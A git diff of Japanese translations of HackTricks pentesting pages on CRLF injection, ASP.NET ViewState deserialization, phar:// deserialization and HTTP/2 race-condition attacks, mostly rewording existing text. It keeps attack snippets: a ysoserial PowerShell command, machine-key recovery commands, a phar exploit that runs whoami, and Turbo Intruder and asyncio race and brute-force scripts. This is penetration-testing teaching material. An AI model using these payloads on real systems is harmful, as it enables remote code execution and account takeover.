||||
次に、**2番目のリクエストを指定**します。ここでは、サーバーがインジェクション後に追加する**追加のヘッダー/ボディ**を含む、**クラシックな**[**リクエストスマグリング**](http-request-smuggling/)があります。\
|
||||
次に、**2番目のリクエストを指定**します。ここでは、サーバーがインジェクション後に追加する**追加のヘッダー/ボディ**を持つ、**クラシックな**[**リクエストスマグリング**](http-request-smuggling/)があります。\
|
||||
クロスユーザーの悪用のための多くのオプションのうち、2つを紹介します。
|
||||
|
||||
次のユーザーのリクエストまたはウェブキャッシュを汚染するための**悪意のある接頭辞**を指定します。
|
||||
|
@ -170,17 +170,17 @@ Memcacheは、クリアテキストプロトコルを使用する**キーバリ
|
|||
|
||||
例えば、元々の脆弱性では、キャッシュキーが使用され、ユーザーが接続するためのIPとポートが返されました。攻撃者は、キャッシュを**汚染して被害者の詳細**(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信する**memcacheコマンドを注入**することができました。
|
||||
|
||||
さらに、研究者は、メールアドレスを知らないユーザーに攻撃者のIPとポートを送信するために、memcacheのレスポンスをデシンクすることも発見しました。
|
||||
さらに、研究者は、memcacheのレスポンスをデシンクさせることで、攻撃者がメールアドレスを知らないユーザーに攻撃者のIPとポートを送信することができることも発見しました。
|
||||
|
||||
**詳細については、[**元の記事**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)を読んでください**\*\*\*\*
|
||||
**詳細については、[**元の記事**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)を読んでください。**
|
||||
|
||||
## CRLFインジェクションの影響
|
||||
|
||||
CRLFインジェクションの影響はさまざまであり、クロスサイトスクリプティングから情報漏洩までのすべての影響を含みます。また、被害者のブラウザでXSSフィルターや同一オリジンポリシーなどの特定のセキュリティ制限を無効にすることもあり、悪意のある攻撃に対して脆弱になります。
|
||||
CRLFインジェクションの影響はさまざまであり、クロスサイトスクリプティングから情報の漏洩まで含まれます。また、被害者のブラウザでXSSフィルターや同一オリジンポリシーなどの特定のセキュリティ制限を無効にすることもあり、悪意のある攻撃に対して脆弱になります。
|
||||
|
||||
### WebアプリケーションでのCRLF / HTTPヘッダーインジェクションの防止方法
|
||||
|
||||
最良の予防技術は、ユーザーの入力を直接レスポンスヘッダー内で使用しないことです。それが不可能な場合は、CRLF特殊文字をエンコードするために常に関数を使用する必要があります。また、HTTPヘッダーを設定する関数内にCRとLFを注入できないバージョンのプログラミング言語にアップデートすることも、良いWebアプリケーションセキュリティのベストプラクティスです。
|
||||
最良の予防技術は、ユーザーの入力を直接レスポンスヘッダー内で使用しないことです。それが不可能な場合は、CRLF特殊文字をエンコードするための関数を常に使用する必要があります。また、HTTPヘッダーを設定する関数内にCRとLFを注入できないバージョンのプログラミング言語にアップデートすることも、良いWebアプリケーションセキュリティのベストプラクティスです。
|
||||
|
||||
### チートシート
|
||||
```
|
||||
|
@ -217,9 +217,9 @@ CRLFインジェクションの影響はさまざまであり、クロスサイ
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**アンハッカブルなものをハック**したい場合 - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -227,7 +227,7 @@ CRLFインジェクションの影響はさまざまであり、クロスサイ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -134,13 +134,13 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
|||
|
||||
したがって、マシンキーが既知の場合(たとえば、ディレクトリトラバーサルの問題によって)、**Case 2** で使用される [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを使用して、ViewState の逆シリアル化の脆弱性を利用して RCE を実行することができます。
|
||||
|
||||
* ViewState の逆シリアル化の脆弱性を悪用するためには、リクエストから `__VIEWSTATEENCRYPTED` パラメータを削除する必要があります。そうしないと、Viewstate MAC の検証エラーが返され、脆弱性の悪用は失敗します(図参照)。
|
||||
* ViewState の逆シリアル化の脆弱性を悪用するためには、リクエストから `__VIEWSTATEENCRYPTED` パラメータを削除する必要があります。そうしないと、Viewstate MAC の検証エラーが返され、エクスプロイトは失敗します(図参照):
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
|
||||
|
||||
### テストケース:4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし、両方の属性を false に設定
|
||||
|
||||
以下のパラメータを web.config ファイル内に指定することで、ASP.NET フレームワークの使用を強制することができます。
|
||||
以下のように、web.config ファイル内に次のパラメータを指定することで、ASP.NET フレームワークの使用を強制することができます。
|
||||
```markup
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
|
@ -150,7 +150,7 @@ compatibilityMode="Framework45"
|
|||
```
|
||||
前のケースと同様に、BurpはリクエストがMACで保護されているかどうかを識別しません。なぜなら、値が暗号化されているからです。したがって、有効なペイロードを送信するには、攻撃者は鍵が必要です。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.0.png)
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
|
||||
|
||||
使用されている鍵を見つけるために、[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を使用することができます。
|
||||
```
|
||||
|
@ -164,7 +164,7 @@ IISDirPathとTargetPagePathの詳細な説明については、[こちら](https
|
|||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
|
||||
|
||||
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)を使用して(ジェネレータの値を指定して):
|
||||
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレータの値を使用)を使用してください。
|
||||
```
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
|
@ -183,8 +183,8 @@ ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、
|
|||
|
||||
### テストケース6 - ViewStateUserKeysが使用されています
|
||||
|
||||
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用することができます。アプリケーションでこのようなキーが定義されており、今までに説明した方法で**ViewState**ペイロードを生成しようとすると、**アプリケーションによってペイロードが処理されない**でしょう。\
|
||||
正しくペイロードを作成するためには、さらに1つのパラメータを使用する必要があります:
|
||||
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用することができます。アプリケーションでこのようなキーが定義されており、今までに説明した方法で**ViewState**ペイロードを生成しようとすると、**アプリケーションによってペイロードは処理されない**でしょう。\
|
||||
正しくペイロードを作成するためには、もう1つのパラメータを使用する必要があります:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
|
@ -205,7 +205,7 @@ ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、
|
|||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、解読不能なものを解読することに興味があるなら、**私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
|
|
@ -1,28 +1,28 @@
|
|||
# phar://デシリアライゼーション
|
||||
# phar://デシリアライズ
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**ハッキングのキャリア**に興味がある方、**解読不能なものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Phar**ファイル(PHPアーカイブ)ファイルには、シリアル化された形式で**メタデータが含まれています**。そのため、解析されると、この**メタデータ**が**デシリアライズ**され、**PHP**コード内の**デシリアライズ**の脆弱性を悪用することができます。
|
||||
**Phar**ファイル(PHPアーカイブ)ファイルには、シリアル化された形式でメタデータが含まれています。そのため、解析されると、このメタデータがデシリアライズされ、**PHP**コード内の**デシリアライズ**の脆弱性を悪用することができます。
|
||||
|
||||
この特性の最も良い点は、**file\_get\_contents()、fopen()、file()、file\_exists()、md5\_file()、filemtime()、filesize()**など、PHPコードを評価しないPHP関数を使用しても、このデシリアライズが発生することです。
|
||||
|
||||
したがって、**`phar://`**プロトコルを使用して、PHPウェブアプリケーションが任意のファイルのサイズを取得する状況を想像してみてください。そして、コードの中に次のような**クラス**を見つけることができます:
|
||||
したがって、**`phar://`**プロトコルを使用してPHPウェブが任意のファイルのサイズを取得する状況を想像してみてください。そして、コードの中に次のような**クラス**を見つけることができます:
|
||||
|
||||
{% code title="vunl.php" %}
|
||||
```php
|
||||
|
@ -42,7 +42,7 @@ filesize("phar://test.phar"); #The attacker can control this path
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**phar**ファイルを作成することができます。このファイルをロードすると、次のようなコマンドを実行するためにこのクラスを悪用します。
|
||||
**phar**ファイルを作成することができます。これをロードすると、次のようなコマンドを実行するためにこのクラスを悪用します。
|
||||
|
||||
{% code title="create_phar.php" %}
|
||||
```php
|
||||
|
@ -77,7 +77,7 @@ $phar->stopBuffering();
|
|||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
```
|
||||
以下の脆弱なコードを悪用して`whoami`コマンドを実行します。
|
||||
以下の脆弱なコードを悪用して、`whoami`コマンドを実行します。
|
||||
```bash
|
||||
php vuln.php
|
||||
```
|
||||
|
@ -85,7 +85,7 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -95,7 +95,7 @@ php vuln.php
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -35,8 +35,8 @@ HTTP2では、**1つのTCP接続で2つのリクエストを送信**できます
|
|||
|
||||
**各リクエストの大部分を事前に送信**するには:
|
||||
|
||||
- リクエストに本文がない場合、すべてのヘッダーを送信しますが、END\_STREAMフラグは設定しません。END\_STREAMが設定された空のデータフレームを保留します。
|
||||
- リクエストに本文がある場合、ヘッダーと最後のバイトを除くすべての本文データを送信します。最後のバイトを含むデータフレームを保留します。
|
||||
- リクエストにボディがない場合、すべてのヘッダーを送信しますが、END\_STREAMフラグは設定しません。END\_STREAMが設定された空のデータフレームを保留します。
|
||||
- リクエストにボディがある場合、ヘッダーと最後のバイトを除くすべてのボディデータを送信します。最後のバイトを含むデータフレームを保留します。
|
||||
|
||||
次に、**最終フレームの送信の準備**をします:
|
||||
|
||||
|
@ -52,30 +52,30 @@ HTTP2では、**1つのTCP接続で2つのリクエストを送信**できます
|
|||
|
||||
この技術を使用すると、ネットワークの揺らぎに関係なく、20〜30のリクエストがサーバーに同時に到着することができます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ターゲットアーキテクチャに適応する**
|
||||
|
||||
多くのアプリケーションはフロントエンドサーバーの背後にあり、これらは一部のリクエストを既存の接続を介してバックエンドに転送し、他のリクエストに対しては新しい接続を作成する場合があります。
|
||||
多くのアプリケーションはフロントエンドサーバーの背後にあり、これらは一部のリクエストを既存の接続を介してバックエンドに転送し、他のリクエストのために新しい接続を作成する場合があります。
|
||||
|
||||
そのため、アプリケーションの動作による一貫性のないリクエストタイミングを、リクエストのタイミングを滑らかにするために、サーバーサイドの接続ウォーミングを実行することで、アプリケーションの動作によるロックメカニズムなどのリクエストタイミングを帰属しないようにすることが重要です(これは、実際の攻撃を開始する前に、いくつかの取るに足らないリクエストを接続に送信することです)。
|
||||
そのため、アプリケーションの動作による一貫性のないリクエストタイミングをロックメカニズムなどのアプリケーションの動作に帰することは重要ではありません。また、フロントエンドのリクエストルーティングは通常、接続ごとに行われるため、攻撃を実行する前にサーバーサイドの接続ウォーミングを実行することで、リクエストのタイミングをスムーズにすることができる場合があります(これは、実際の攻撃を開始する前にいくつかのリクエストを送信するだけです)。
|
||||
|
||||
#### セッションベースのロックメカニズム <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
一部のフレームワークでは、**リクエストロック**としての形式を使用して、データの誤った破損を防ぐことを試みています。たとえば、**PHPのネイティブセッションハンドラ**モジュールは、**1つのセッションあたり1つのリクエストのみ**を処理します。
|
||||
|
||||
このような動作を見つけることは非常に重要です。なぜなら、それによって簡単に悪用できる脆弱性が隠されてしまう可能性があるからです。すべてのリクエストが順次処理されていることに気付いた場合は、それぞれのリクエストを異なるセッショントークンを使用して送信してみてください。
|
||||
このような動作を見つけることは非常に重要です。なぜなら、これによって簡単に悪用できる脆弱性が隠されてしまう可能性があるからです。すべてのリクエストが順次処理されていることに気付いた場合は、それぞれのリクエストを異なるセッショントークンを使用して送信してみてください。
|
||||
#### **レート制限またはリソース制限の乱用**
|
||||
|
||||
接続のウォーミングが効果がない場合、この問題に対するさまざまな解決策があります。
|
||||
|
||||
Turbo Intruderを使用すると、クライアント側で短い遅延を導入することができます。ただし、これには実際の攻撃リクエストを複数のTCPパケットに分割する必要があるため、シングルパケット攻撃技術を使用することはできません。その結果、高ジッターターゲットでは、どのような遅延を設定しても攻撃が確実に機能しない可能性があります。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
代わりに、一般的なセキュリティ機能を乱用することで、この問題を解決できる場合があります。
|
||||
代わりに、一般的なセキュリティ機能を乱用することでこの問題を解決することができるかもしれません。
|
||||
|
||||
Webサーバーは、リクエストがあまりにも速く送信された場合に、リクエストの処理を遅延させることがよくあります。ダミーの大量のリクエストを送信して、レート制限またはリソース制限を意図的にトリガーすることで、適切なサーバーサイドの遅延を引き起こすことができるかもしれません。これにより、遅延実行が必要な場合でも、シングルパケット攻撃が実行可能になります。
|
||||
Webサーバーは、リクエストがあまりにも速く送信された場合に処理を遅延させることがよくあります。ダミーリクエストを大量に送信してレート制限またはリソース制限を意図的にトリガーすることで、適切なサーバーサイドの遅延を引き起こすことができるかもしれません。これにより、遅延実行が必要な場合でも、シングルパケット攻撃が実行可能になります。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -85,11 +85,11 @@ Webサーバーは、リクエストがあまりにも速く送信された場
|
|||
|
||||
#### 攻撃の例
|
||||
|
||||
* **Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント)**:リクエストを**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)に送信することができます。リクエスト内のブルートフォースしたい値を**`%s`**のように変更し、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のように選択します。次に、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します:
|
||||
* **Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント)**:リクエストを**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)に送信できます。リクエスト内の**`%s`**のようなブルートフォースしたい値を変更し、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**異なる値を送信する**場合は、クリップボードからワードリストを使用する次のコードに変更できます:
|
||||
**異なる値を送信する**場合は、クリップボードからワードリストを使用する次のコードに変更できます。
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -131,12 +131,12 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||
engine.openGate(currentAttempt)
|
||||
```
|
||||
* また、Burp Suiteの新しい「**Send group in parallel**」オプションを使用して、**Repeater**でも利用できます。
|
||||
* **limit-overrun**の場合、グループに同じリクエストを50回追加するだけです。
|
||||
* **connection warming**の場合、ウェブサーバーの非静的な部分にいくつかのリクエストをグループの**先頭**に追加することができます。
|
||||
* 2つのサブステップでのリクエストの処理**間**のプロセスを**遅延**させるためには、両方のリクエストの間に**追加のリクエストを追加**することができます。
|
||||
* **multi-endpoint** RCの場合、**隠れた状態**に向かうリクエストを送信し、その後それを**悪用する50のリクエスト**を送信します。
|
||||
* **limit-overrun**の場合、グループに**同じリクエストを50回**追加するだけです。
|
||||
* **connection warming**の場合、ウェブサーバーの非静的な部分にいくつかのリクエストをグループの**先頭**に**追加**することができます。
|
||||
* 2つのサブステートステップで**1つのリクエストともう1つのリクエストの間の処理を遅延**させる場合、両方のリクエストの間に**追加のリクエストを追加**することができます。
|
||||
* **multi-endpoint**のRCの場合、**隠れた状態に移動するリクエスト**を送信し、その後**その隠れた状態を利用するリクエストを50回**送信します。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Raw BF
|
||||
|
||||
|
@ -164,6 +164,8 @@ def handleResponse(req, interesting):
|
|||
table.add(req)
|
||||
```
|
||||
* **Python - asyncio**
|
||||
|
||||
Pythonの非同期処理(asyncio)
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
@ -207,13 +209,13 @@ asyncio.run(main())
|
|||
|
||||
### **隠れたサブステート**
|
||||
|
||||
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていない状態を**乱用**できる可能性のある**マシンのサブステート**を悪用しますが、攻撃者がアクセスするための**小さなウィンドウ**があります。
|
||||
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていなかった状態を悪用できる**マシンのサブステート**を利用しますが、攻撃者がアクセスするための**小さなウィンドウ**があります。
|
||||
|
||||
1. **潜在的な隠れた興味深いサブステートを予測する**
|
||||
|
||||
最初のステップは、それに書き込むか、それからデータを読み取り、それを重要な何かに使用するすべてのエンドポイントを特定することです。たとえば、ユーザーは登録、プロファイル編集、パスワードリセットの開始、パスワードリセットの完了によって変更されるデータベーステーブルに保存される場合があります。
|
||||
|
||||
エンドポイントと関連するエンドポイントごとに、次の3つの重要な質問を使用して、衝突の可能性が低いエンドポイントを除外できます。
|
||||
次の3つの重要な質問を使用して、衝突の可能性が低いエンドポイントを除外できます。各オブジェクトと関連するエンドポイントについて、次のように尋ねます。
|
||||
|
||||
* **状態はどのように保存されていますか?**
|
||||
|
||||
|
@ -223,29 +225,29 @@ asyncio.run(main())
|
|||
|
||||
* **編集または追加していますか?**
|
||||
|
||||
既存のデータを編集する操作(アカウントの主なメールアドレスの変更など)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスの追加など)は、制限超過攻撃以外の脆弱性に対して脆弱性を持つ可能性は低いです。
|
||||
既存のデータを編集する操作(アカウントの主なメールアドレスを変更するなど)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスを追加するなど)は、制限超過攻撃以外の脆弱性に対して脆弱ではありません。
|
||||
|
||||
* **操作は何にキー付けられていますか?**
|
||||
|
||||
